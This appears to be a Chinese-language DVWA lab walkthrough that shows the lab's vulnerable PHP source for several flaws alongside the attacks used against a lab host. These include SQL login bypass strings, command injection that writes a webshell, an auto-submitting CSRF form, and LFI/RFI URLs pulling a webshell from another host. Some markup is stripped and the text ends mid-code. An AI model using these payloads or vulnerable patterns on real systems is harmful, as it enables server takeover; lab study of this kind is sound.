该死的易受攻击的 Web 应用程序 (DVWA) 是一个该死的易受攻击的 PHP/MySQL Web 应用程序。它的主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助 Web 开发人员更好地了解保护 Web 应用程序的过程,并帮助教师/学生在课堂环境中教授/学习 Web 应用程序安全。
靶机:Windows Server 2008 R2 x64 IP:192.168.6.138
攻击机:Windows 10 IP:192.168.1.4
PHP调试环境的程序集成包(phpStudy):网盘链接 提取码:8vwo
DVWA靶场源码:网盘链接 提取码:affn
if( isset( $_GET[ 'Login' ] ) ) { //检测变量是否已设置
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass ); //md5加密
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //拼接查询语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) { //查询有结果并且行数为1
// Get users details
$row = mysqli_fetch_assoc( $result ); //结果集中取得一行作为关联数组
$avatar = $row["avatar"]; //获得图片地址
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } //关闭数据库 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
select * from users where user='$user' and password='$pass'
闭合,由于这里传参点并未做任何过滤,可以直接构造SQL查询语句闭合,免密登录admin' -- qwe
、admin' or '1'='1
可直接免密
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//mysqli_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符(\x00、\n、\r、\、'、"、\x1a)
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); //md5加密
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //拼接查询语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //检查token值
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user ); //去除反斜杠
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); //md5加密
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //拼接查询语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); //产生新token值 ?>
Username and/or password incorrect.
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { //检测变量是否已设置
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //校验token值
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user ); //去除反斜杠
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass ); //md5加密
// Default values
$total_failed_login = 3; //登录失败次数
$lockout_time = 15; //登录失败时间
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "
This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "
";
print "The timenow is: " . date ("h:i:s", $timenow) . "
";
print "The timeout is: " . date ("h:i:s", $timeout) . "
";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked
";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "Welcome to the password protected area {$user}
";
echo "
{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "Warning: Someone might of been brute forcing your account.
";
echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:用户输入的数据被当做系统命令进行执行
造成命令执行函数解析(代码审计):
1、system() 执行命令输出结果
2、exec() 只会得到结果最后一行
3、passthru() 执行命令输出结果
4、shell_exec() 只会得到结果的全部
5、`` => shell_exec() //前面的波浪号
6、$a = popen('whoami','r');echo fread($a,1024);返回的是一个文件指针,需要用fread去读取返回值。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { //php_uname返回操作系统名称并索字符串在另一字符串中的第一次出现
// Windows
$cmd = shell_exec( 'ping ' . $target ); //执行系统命令
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target ); //执行系统命令
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
127.0.0.1 | echo %cd%
传参获取网页路径(URL栏也可推断)E:\phpStudy\WWW\DVWA\vulnerabilities\exec
echo "" > camer.php
传参在当前页面写入一句话木马文件
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '', //设置黑名单,过滤符号&&和;
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); //替换符号
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '', //黑名单过滤特殊符号
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
|
,却没有过滤|
),同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); //去除反斜杠
// Split the IP into 4 octects
$octet = explode( ".", $target ); //把字符串打散为数组
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); //md5加密
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); //更新数据库
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
<html>
<body>
<script>history.pushState('', '', '/')script>
<form id="test" action="http://192.168.6.138/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123" />
<input type="hidden" name="password_conf" value="123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
form>
<script> //修改成自动触发
function hack(){
document.getElementById('test').submit();
}
setTimeout(hack, 100);
script>
body>
html>
代码审计:通过两次输入密码的传参校验更新数据库修改密码,传参未作任何限制以及数据过滤,可以构造恶意传参Poc,偷偷修改数据
漏洞利用:通过对修改密码界面的抓包,使用burp直接生成CSRF Poc。当用户在打开修改界面的同时,使用同浏览器访问恶意Poc构成的Html文件,将会偷偷使用用户浏览器偷偷发送数据包修改密码(也可以通过链接的形式http://192.168.6.138/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
构造恶意网址,通过短链接生成网址:链接 隐藏传参信息,达到同样目的)
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { //stripos() 函数查找字符串(REFERER)在另一字符串中第一次出现的位置(不区分大小写)
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //过滤特殊符号
$pass_new = md5( $pass_new ); //md5加密
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } } else { // Didn't come from a trusted source echo "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
<html>
<body>
<script>history.pushState('', '', '/')script>
<form id= "test" action="http://192.168.6.138/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123" />
<input type="hidden" name="password_conf" value="123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
form>
<script> //修改成自动触发
function hack(){
document.getElementById('test').submit();
}
setTimeout(hack, 100);
script>
body>
html>
拼接URL访问http://192.168.6.138/DVWA/hackable/uploads/192.168.6.138.html
,发现偷偷修改了密码
代码审计:通过查询数据包中referer参数是否有目标服务器的SERVER_NAME,来检验是否是用户自己传参修改数据
漏洞利用:由于请求包referer参数有目标服务器决定,只有配合文件上传漏洞,让用户在访问修改密码页面的同时访问恶意文件,用服务器自己发送数据请求,referer达成验证,达到偷偷修改数据的目的
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //校验token值
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //过滤特殊符号
$pass_new = md5( $pass_new ); //md5加密
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原理:File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)
造成文件包含函数解析:
include() //用到临时加载 (临时加载然后使用)[不影响整体]
include_once() //检测之前是否包含过,如果有就不包含了
require() //先加载,然后整合原有代码,然后一齐执行[影响整体]
require_once() //检测之前是否包含过,如果有就不包含了
文件包含分类:
本地文件包含(LFI) => 在目标机器上,上传文件马然后包含
远程文件包含(RFI) => 访问外网的某个文件,然后包含hack.txt(一句话木马)默认情况下,远程文件包含不开启,必须修改配置文件:allow_url_include = On(远程文件包含)
// The page we wish to display
$file = $_GET[ 'page' ]; //传参改变访问页面
?>
../../hackable/uploads/hacker.jpg
http://192.168.6.138/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hacker.jpg&8=phpinfo();
,验证发现获取webshellhttp://192.168.6.138/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hacker.jpg&8=file_put_contents('hacker.php','');
http://192.168.6.138/DVWA/vulnerabilities/fi/hacker.php
,成功获取webshellhttp://192.168.6.138/DVWA/vulnerabilities/fi/?page=http://192.168.6.141/hacker.txt&8=phpinfo();
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); //str_replace() 函数替换字符串中的一些字符(区分大小写)
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
http://192.168.6.138/DVWA/vulnerabilities/fi/?page=E:/phpStudy/WWW/DVWA/hackable/uploads/hacker.jpg&8=phpinfo();
http://192.168.6.138/DVWA/vulnerabilities/fi/?page=httphttp://://192.168.6.141/hacker.txt&8=phpinfo();
httphttp://://
包含远程木马文件,获取目标服务器webshell
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { //检验传参是否为file开头并且文件名是否为include.php
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
http://192.168.6.138/DVWA/vulnerabilities/fi/?page=file://E:/phpStudy/WWW/DVWA/hackable/uploads/hacker.jpg&8=phpinfo();
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { //等同于白名单直接限制可上传文件
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
原理:File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得可以通过上传webshell获取服务器权限
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //获取文件名
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { //判断文件是否保存至服务器路径
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; //获取文件名
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; //获取文件类型
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; //获取文件大小
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) { //判断文件类型、大小
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //分割字符串。获取文件后缀名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { //把所有字符转换为小写
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //校验token值
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; //生成随机id并加密,重命名文件
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) { //检查上传文件信息
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp ); //二次渲染
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { //重命名
// Yes!
echo "${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken(); //生成新token值
?>
原理:Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称,因为这块主要是验证流程出现了逻辑漏洞
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
echo "Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
